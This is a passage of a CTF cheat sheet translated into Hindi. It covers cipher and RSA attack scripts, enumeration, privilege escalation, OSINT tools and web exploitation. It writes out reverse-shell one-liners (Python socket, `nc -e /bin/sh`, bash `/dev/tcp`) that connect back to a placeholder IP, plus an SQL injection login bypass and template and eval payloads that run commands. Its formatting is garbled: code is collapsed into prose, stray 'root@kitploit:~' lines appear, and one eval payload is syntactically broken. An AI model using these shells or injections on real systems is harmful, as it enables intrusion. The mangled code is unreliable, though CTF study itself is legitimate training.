    • अनुरोध को इनपुट फ़ील्ड में कॉपी करें और पैरामीटर को "FUZZ" से बदलें:
      • ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
      • आकार फ़िल्टर करने के लिए -fs का उपयोग करें

क्रिप्टो

CyberChef

  • CyberChef
    • विभिन्न क्रिप्टोग्राफी ऑपरेशन करता है

सिफर डिटेक्टर

हैशेज़

  • hashid
    • हैश प्रकार का पता लगाने के लिए कमांड-लाइन उपयोगिता

सामान्य सिफर

  • सीज़र सिफर
  • विजेनेर सिफर```python

Solver using custom table

cipherText = "" plainText = "" flagCipherText = "" tableFile = ""

with open(cipherText) as fin: cipher = fin.readline().rstrip()

with open(plainText) as fin: plain = fin.readline().rstrip()

with open(flagCipherText) as fin: flag = fin.readline().rstrip()

with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]

table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break

print(key)

dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break

print(dec_flag)

root@kitploit:~
- [प्रतिस्थापन सिफर](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [कीड कैसर सिफर](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)

### आरएसए

#### pycryptodome के साथ RSA जानकारी प्राप्त करें```python
from Crypto.PublicKey import RSA

keyName = "example.pem"

with open(keyName,'r') as f:
    key = RSA.import_key(f.read())

print(key)

# You can also get individual parts of the RSA key 
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)

# public keys have n and e

Chinese Remainder Theorem (p,q,e,c)

  • इसका उपयोग तब करें जब आप संख्या n का गुणनखंड कर सकते हैं

    • खराब कार्यान्वयन में एक से अधिक अभाज्य गुणनखंड होते हैं
    • प्रमाण
  • पुराना```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)

def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m

p = q = e = c =

n = p*q # use factordb command or website to find factors

phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)

d = modinv(e, phi) # private key

print(d)

m = pow(c,d,n) # decrypted plaintext message in long integer form

thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))

root@kitploit:~
- नया```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB

# ints:
n =    
e =  
c =  

f = FactorDB(n)
f.connect()
factors = f.get_factor_list()

phi = 1
for i in factors:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)
  • वेबसाइट जो गुणनखंड और यूलर का टोटिएंट (phi) देती है
    • https://www.alpertron.com.ar/ECM.HTM

कॉपरस्मिथ हमला (c,e)

  • आमतौर पर उपयोग किया जाता है यदि घातांक बहुत छोटा है (e <= 5)

    • प्रमाण```python from Crypto.Util.number import * def nth_root(radicand, index): lo = 1 hi = radicand while hi - lo > 1: mid = (lo + hi) // 2 if mid ** index > radicand: hi = mid else: lo = mid

    if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1

c = e =

plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))

root@kitploit:~
#### Pollards attack (n,e,c)
- [Pollard's factorization method](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf) पर आधारित, जो प्राइम्स के उत्पादों को [फैक्टर करना आसान](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf) बनाता है यदि वे (B)smooth हों
    - यह स्थिति तब होती है जब `p-1 | B!` और `q - 1` का एक गुणनखंड > `B` हो```python
from Crypto.Util.number import *
from math import gcd

n = 
c = 
e = 

def pollard(n):
    a = 2
    b = 2
    while True:
        a = pow(a,b,n)
        d = gcd(a-1,n)
        if 1 < d < n: 
            return d
        b += 1

p = pollard(n)
q = n // p

phi = 1
for i in [p,q]:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)

वीनर आक्रमण (n,e,c)

  • जब d बहुत छोटा हो (या e बहुत बड़ा हो) तब उपयोग के लिए
    • इस पायथन मॉड्यूल का उपयोग करके
    • प्रमाण```python from Crypto.Util.number import * import owiener

n = e = c =

d = owiener.attack(e, n) m = pow(c, d, n)

flag = long_to_bytes(m) print(flag)

root@kitploit:~
### Base16, 32, 36, 58, 64, 85, 91, 92

[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)

## बॉक्स

### कनेक्ट करना

- ssh
    - `ssh <username>@<ip>`
    - `ssh <username>@<ip> -i <private key file>`
    - SSH को स्थानीय रूप से फ़ाइल सिस्टम के रूप में माउंट करें:
        - `sshfs -p <port> <user>@<ip>: <mount_directory>`
    - ज्ञात होस्ट
        - `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
    - `nc <ip> <port>`
    

### एनुमरेशन

- मशीन खोज
    - `netdiscover`
- मशीन पोर्ट स्कैनिंग
    - `nmap -sC -sV <ip>`
- लिनक्स एनुमरेशन
    - `enum4linux <ip>`
    
- एसएमबी एनुमरेशन
    - `smbmap -H <ip>`
- एसएमबी शेयर से कनेक्ट करें
    - `smbclient //<ip>/<share>`

### विशेषाधिकार वृद्धि

- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
    - `./linpeas.sh`
    - स्वचालित रूप से विशेषाधिकार वृद्धि वेक्टर खोजता है
- वे कमांड सूचीबद्ध करें जिन्हें हम रूट के रूप में चला सकते हैं
    - `sudo -l`
- SUID अनुमति वाली फ़ाइलें ढूंढें
    - `find / -perm -u=s -type f 2>/dev/null`
    - ये फ़ाइलें उन्हें चलाने वाले उपयोगकर्ता के बजाय मालिक के विशेषाधिकारों के साथ निष्पादित होती हैं
- सभी सेवाओं के लिए अनुमतियाँ ढूंढें
    - `accesschk.exe -uwcqv *`
    - ऐसी सेवाएँ खोजें जो सिस्टम या प्रशासक खातों के अंतर्गत नहीं हैं
- सेवा क्वेरी करें
    - `sc qc <service name>`
    - केवल cmd.exe में काम करता है 

### रिवर्स शेल सुनना

- `nc -lnvp <port>`

### रिवर्स शेल

- revshells.com
    - मूल रूप से आपको जो कुछ भी चाहिए उसके लिए टेम्पलेट
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`

### इंटरैक्टिव शेल प्राप्त करें

#### लिनक्स

1. इसे आंशिक रूप से इंटरैक्टिव बनाने के लिए निम्नलिखित पायथन कमांड चलाएँ: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. `CTRL+Z` के साथ नेटकैट सत्र से बाहर निकलें और स्थानीय रूप से `stty raw -echo` चलाएँ
3. कमांड `fg` के साथ अपने सत्र में फिर से प्रवेश करें (और यदि आवश्यक हो तो बाद में जॉब आईडी)
4. `export TERM=xterm` चलाकर अपने टर्मिनल इम्यूलेटर को xterm में बदलें (यह आवश्यक नहीं हो सकता है)
5. `export SHELL=bash` चलाकर अपने शेल को bash में बदलें (यह आवश्यक नहीं हो सकता है)
6. हो गया! अब आपका शेल पूरी तरह से इंटरैक्टिव होना चाहिए

#### विंडोज / सामान्य

1. अपने सिस्टम पर `rlwrap` स्थापित करें
2. अब, जब भी आप nc लिसनर चलाएँ, बस `rlwrap` को आगे रखें
3. उदाहरण के लिए: `rlwrap nc -lvnp 1337`
    * यह आपको एरो की और कमांड हिस्ट्री देगा, लेकिन विंडोज और *निक्स सिस्टम के लिए ऑटोकम्प्लीशन नहीं देगा (जहाँ तक मैं बता सकता हूँ)

## ओएसआईएनटी

- [pimeyes](https://pimeyes.com/en)
    - इंटरनेट पर चेहरों की रिवर्स सर्च करें
- [OSINT Framework](https://osintframework.com/)
    - वेबसाइट जो बहुत सारे ओएसआईएनटी टूल्स को एकत्रित करती है
- [GeoSpy AI](https://geospy.ai)
    - जियोस्पेशियल विज़न एलएलएम जो केवल एक छवि से स्थान का अनुमान लगा सकता है
- [overpass turbo](https://overpass-turbo.eu)
    - वेबसाइट जो आपको ओपनस्ट्रीटमैप एपीआई को क्वेरी करने और परिणामों को विज़ुअलाइज़ करने देती है
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
    - वेबसाइट जो आपको आसानी से ओएसएम एपीआई को क्वेरी करने देती है

## विविध

- DNS त्रुटियों का समाधान
    - `dig <site> <recordType>`
    - [List of record types](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
        - TXT आज़माना सुनिश्चित करें
- बाइनरी को एक अलग आर्किटेक्चर के रूप में चलाएँ
    - 64 बिट:
        - `linux64 ./<binary>`
    - 32 बिट:
        - `linux32 ./<binary>`
        
- एमएस मैक्रोज़ निकालें:
    - [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- सीएनसी जीकोड देखें
    - [https://ncviewer.com/](https://ncviewer.com/)
टूल डाउनलोड करें
  • Gynvael
    • अद्भुत सहज वीडियो लेखन बनाते हैं। उन्होंने पूरी picoCTF 2019 (यह बहुत है) को कवर किया है
  • Black Hills Information Security
    • सुरक्षा फर्म जो बहुत सारी शैक्षिक सामग्री बनाती है
    • हमेशा सुरक्षा विषयों पर मुफ्त पाठ्यक्रम और वेबकास्ट करते रहते हैं
  • stacksmashing
    • अद्भुत रिवर्स इंजीनियरिंग और हार्डवेयर हैकिंग वीडियो
    • WannaCry को रिवर्स इंजीनियर करने की एक बहुत अच्छी श्रृंखला है
  • Ben Greenberg
    • GMU के प्रोफेसर जिनके पास pwn और मैलवेयर वीडियो ट्यूटोरियल का एक समूह है
    • थोड़ा पुराना है, लेकिन फिर भी अच्छा है
  • InfoSecLab at Georgia Tech
    • pwn पर अच्छे और उन्नत गहन व्याख्यान
    • कुछ पृष्ठभूमि ज्ञान की आवश्यकता है
  • RPISEC
    • RPI विश्वविद्यालय टीम की बैठकें
    • बहुत उन्नत और थोड़ी सी cs पृष्ठभूमि ज्ञान मानता है
  • Matt Brown
    • एम्बेडेड सुरक्षा पेंटेस्टर
    • IoT हैकिंग के बारे में शुरुआती-अनुकूल बेहतरीन वीडियो बनाते हैं
    • कठिनाई के क्रम में व्यवस्थित बहुत सारी बाइनरी शोषण समस्याएँ
    • स्रोत शामिल है और एक VM के साथ आता है जिसमें सभी बाइनरी हैं।
  • कुछ छवियों को खोलने के लिए आपको फ़ाइल सिग्नेचर बदलना पड़ सकता है
  • सामान्य फ़ाइल सिग्नेचर की सूची
  • Ghex (एक और हेक्स एडिटर लेकिन GUI के साथ। यदि आपको किसी विशेष बाइट पर जाने की आवश्यकता है तो अच्छा)
    • ghex <file.xyz>
  • docx फ़ाइलें कंटेनर होती हैं इसलिए आप छिपी हुई सामग्री खोजने के लिए उन्हें अनज़िप कर सकते हैं
    • unzip <file.docx>
  • Grep - फ़्लैग को पुनरावर्ती रूप से खोजने के लिए grep का उपयोग करने का एक अच्छा तरीका:
    • grep -r --text 'picoCTF{.*}'
    • egrep -r --text 'picoCTF{.*?}
    • आप 'picoCTF' को उस फ़्लैग के आरंभ से बदल सकते हैं जिसे आप ढूंढ रहे हैं
  • Ltrace - जब आप प्रोग्राम चलाते हैं तो कोड क्या कर रहा है यह देखने की अनुमति देता है:
    • ltrace ./<file>
    • ltrace -s 100 ./<file>
      • Ltrace बहुत लंबी स्ट्रिंग्स को छोटा करता है। आप ltrace द्वारा दिखाए जाने वाले वर्णों की संख्या बढ़ाने के लिए -s का उपयोग कर सकते हैं। बड़े स्ट्रिंग्स वाले strcmp को देखते समय अच्छा है।
  • fstring भेद्यता और %n के साथ स्टैक को संशोधित करने पर बहुत अच्छा वीडियो:
    • https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
  • SQL इंजेक्शन की प्रक्रिया को स्वचालित करता है
  • बुनियादी SQL इंजेक्शन
    • लॉगिन फॉर्म में 'OR 1=1-- दर्ज करें
    • सर्वर पर यह SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = '' में मूल्यांकन करेगा
    • 1=1 सत्य मूल्यांकित होता है, जो OR कथन को संतुष्ट करता है, और शेष क्वेरी -- द्वारा कमेंट आउट हो जाती है
  • PayloadsAllTheThings
    • बहुत सारे पेलोड के साथ वेब एक्सप्लॉइटेशन के लिए बेहतरीन संसाधन
  • टेम्पलेट इंजेक्शन
    • tplmap
      • स्वचालित सर्वर-साइड टेम्पलेट इंजेक्शन
    • Jinja इंजेक्शन
      • {{ config.items() }}
    • Flask इंजेक्शन
      • {{ config }}
    • Python eval() फंक्शन
      • __import__.('subprocess').getoutput('<command>')
        • यदि यह काम नहीं करता है तो कोष्ठक बदलना सुनिश्चित करें
      • __import__.('subprocess').getoutput('ls').split('\\n')
        • सिस्टम में फ़ाइलें सूचीबद्ध करें
    • अधिक Python इंजेक्शन
  • क्रॉस साइट स्क्रिप्टिंग
    • CSP Evaluator
      • Google का कंटेंट सिक्योरिटी पॉलिसी इवैल्यूएटर